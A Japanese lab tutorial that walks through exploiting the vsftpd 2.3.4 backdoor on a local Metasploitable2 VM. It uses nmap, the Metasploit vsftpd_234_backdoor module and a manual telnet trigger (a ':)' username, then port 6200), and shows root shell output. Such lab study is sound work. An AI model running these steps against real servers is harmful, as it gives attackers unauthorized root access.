- 概要(vsftpd 2.3.4のバックドアについて)
- 事前準備
- IPアドレスの確認(偵察)
- ポートスキャンの実行(偵察)
- エクスプロイトの実行(攻撃)
- 実際に侵入できたかサーバーを確認 (遠隔操作)
- 遠隔操作をしてみる
- ハッピーフェイス「:)」を使用して侵入を試みる
- 参考書籍
※注意 こちらで紹介した内容を悪用した場合、場合によっては刑法にて処罰されます。 実験を行う場合は必ずローカル環境にテスト用のサーバーを構築して実行してください。
概要(vsftpd 2.3.4のバックドアについて)
vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれています。 vsftpdとはLinuxなどのUNIX系OSで使用されるFTPサービスの名称で、vsftpd 2.3.4をインストールおよび起動すると、特定の文字列「:)」を含む任意のユーザー名でFTP接続した際に6200番ポートがオープンします。 バックドアポートにリモートから接続すると標的のサーバー内で任意のコマンドが実行可能となってしまいます。 バックドアによるリモート環境へのアクセスをテストするため、Virtualボックス上にゲストOSとしてKali LinuxとMetasploitable2を用意して検証を行いました。
事前準備
VirtualBox上にゲストOSとしてKali LinuxとMetasploitable2をインストールしておきます。 Kali LinuxとMetasploitable2共にネットワーク設定を「ホストオンリーアダプター」にしておき、ゲストOS同士で通信ができるようにしておきます。「ホストオンリーアダプター」にしているときはインターネットとの通信ができません。 インターネットと通信したい際はネットワーク設定を「NAT」にしてOSを再起動します。 (※再起動しないで良い方法もあります)
IPアドレスの確認(偵察)
ifconfig -a
コマンドを使用してKali LinuxとMetasploitable2それぞれのIPアドレスを確認しておきます。
今回は下記IPアドレスでテストを行うことにしました。
Kali Linux 192.168.28.3
Metasploitable2 192.168.28.4
Metasploit Frameworkを使用したペネトレーションテスト
Kali LinuxにMetasploit Frameworkがインストールされている場合msfconsole
コマンドが使えるので、
msfconsole
コマンドを実行します。
Metasploit Frameworkはミドルウェアなどの脆弱性を実際に突いて、セキュリティの耐久性を評価する「ペネトレーションテスト」に使用するツールです。
下記コマンドを実行してMetasploit Frameworkを起動します
#msfconsole
Metasploit Frameworkが起動しました。
ポートスキャンの実行(偵察)
次にnmapを使用してMetasploitable2をポートスキャンします。
開放されているポートと使用されているサービスを確認します。
nmap
コマンドに-sV
オプションを付与する事で、動作しているサービスのバージョンを取得できます。
下記コマンドを実行します。
msf6 > nmap -sV 192.168.28.4
ポートスキャンの実行結果(偵察)
21番ポート
が開いており、vsftpd 2.3.4
が動いているのがわかります。
Metasploitable2はやられサーバーなので他にも色々なポートが開いており、脆弱性だらけなのが分かります。
稼働しているサービスの脆弱性を確認(偵察)
searchコマンドを実行して、稼働しているサービスに脆弱性があるか確認します。 searchコマンドはMetasploit Frameworkのデータベース内を検索するコマンドになります。
msf6 > search vsftpd 2.3.4
下記のように脆弱性がヒットしました。
この脆弱性を利用してMetasploitable2に侵入しようと思います。
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
エクスプロイトの実行(攻撃)
標的となるサーバーのIPアドレスを指定します
set RHOST 192.168.28.4
でMetasploitable2のIPアドレスを指定します。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.28.4 RHOST => 192.168.28.4
ペイロードを指定します
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact PAYLOAD => cmd/unix/interact
使用するexploitを指定します。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor [*] Using configured payload cmd/unix/interact
エクスプロイト実行
exploit
コマンドを実行して攻撃を行います。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
実際に侵入できたかサーバーを確認 (遠隔操作)
サーバーへの侵入
エクスプロイトを実行した後、下記のように表示されますので、
実際に標的のサーバーへ侵入できたか確認します
[*] 192.168.28.4:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.28.4:21 - USER: 331 Please specify the password. [+] 192.168.28.4:21 - Backdoor service has been spawned, handling... [+] 192.168.28.4:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.28.3:41809 -> 192.168.28.4:6200) at 2023-05-10 21:45:36 +0900
id uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Linux metasploitable 2.6.24-16-serverと表示されているので侵入に成功できたようです。
遠隔操作をしてみる
試しにlsコマンドを実行してみました。
ls -al total 93 drwxr-xr-x 21 root root 4096 2012-05-20 14:36 . drwxr-xr-x 21 root root 4096 2012-05-20 14:36 .. drwxr-xr-x 2 root root 4096 2012-05-13 23:35 bin drwxr-xr-x 4 root root 1024 2012-05-13 23:36 boot lrwxrwxrwx 1 root root 11 2010-04-28 16:26 cdrom -> media/cdrom drwxr-xr-x 14 root root 13500 2023-05-01 10:18 dev drwxr-xr-x 94 root root 4096 2023-05-01 08:39 etc drwxr-xr-x 6 root root 4096 2010-04-16 02:16 home drwxr-xr-x 2 root root 4096 2010-03-16 18:57 initrd lrwxrwxrwx 1 root root 32 2010-04-28 16:26 initrd.img -> boot/initrd.img-2.6.24-16-server drwxr-xr-x 13 root root 4096 2012-05-13 23:35 lib drwx------ 2 root root 16384 2010-03-16 18:55 lost+found drwxr-xr-x 4 root root 4096 2010-03-16 18:55 media drwxr-xr-x 3 root root 4096 2010-04-28 16:16 mnt -rw------- 1 root root 8705 2023-05-01 08:39 nohup.out drwxr-xr-x 2 root root 4096 2010-03-16 18:57 opt dr-xr-xr-x 121 root root 0 2023-05-01 08:38 proc drwxr-xr-x 13 root root 4096 2023-05-01 08:39 root drwxr-xr-x 2 root root 4096 2012-05-13 21:54 sbin drwxr-xr-x 2 root root 4096 2010-03-16 18:57 srv drwxr-xr-x 12 root root 0 2023-05-01 08:38 sys drwxrwxrwt 4 root root 4096 2023-05-01 08:39 tmp drwxr-xr-x 12 root root 4096 2010-04-28 00:06 usr drwxr-xr-x 14 root root 4096 2010-03-17 10:08 var lrwxrwxrwx 1 root root 29 2010-04-28 16:21 vmlinuz -> boot/vmlinuz-2.6.24-16-server
標的のとなるサーバーのファイルの一覧が取得できました。 あとは攻撃者が目的を実行して証跡を削除したら、ハッキングは完了となります。
ハッピーフェイス「:)」を使用して侵入を試みる
vsftpd 2.3.4には概要に記載した通り、「:)」を含む任意のユーザー名で接続した際にバックドアポートである6200番が開きます。
次にMetasploit Frameworkを使用せずにバックドアからの侵入を試みてみます。
検証してみる
まずは21番ポートでtelnet接続
まずは21番ポートでtelnet接続を試みてみます。 その歳、ユーザー名に「:)」を含む任意の文字列を指定します。 接続できたことが確認できたら一旦終了します。
┌──(root㉿kali)-[/home/kali] └─# telnet 192.168.28.4 21 #まずは21番ポートでtelnet接続を試みる Trying 192.168.28.4... Connected to 192.168.28.4. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) #ここで「:)」を含む任意の文字列を指定している 331 Please specify the password. pass invalid #パスワードは何でも良い telnet> quit #一旦接続を終了する Connection closed.
バックドアの6200番ポートの確認
次にバックドアポートである6200番が開放されているか確認します。
┌──(root㉿kali)-[/home/kali] └─# telnet 192.168.28.4 6200 #6200番ポートを指定してtelnet接続を試みる Trying 192.168.28.4... Connected to 192.168.28.4. Escape character is '^]'. id; uid=0(root) gid=0(root)
uname -a;で現在のサーバーを確認したところ、 metasploitable のサーバーに侵入をができているようです。
uname -a; Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
vsftpd 2.3.4
の脆弱性を利用したバックドアからの侵入の検証は以上になります。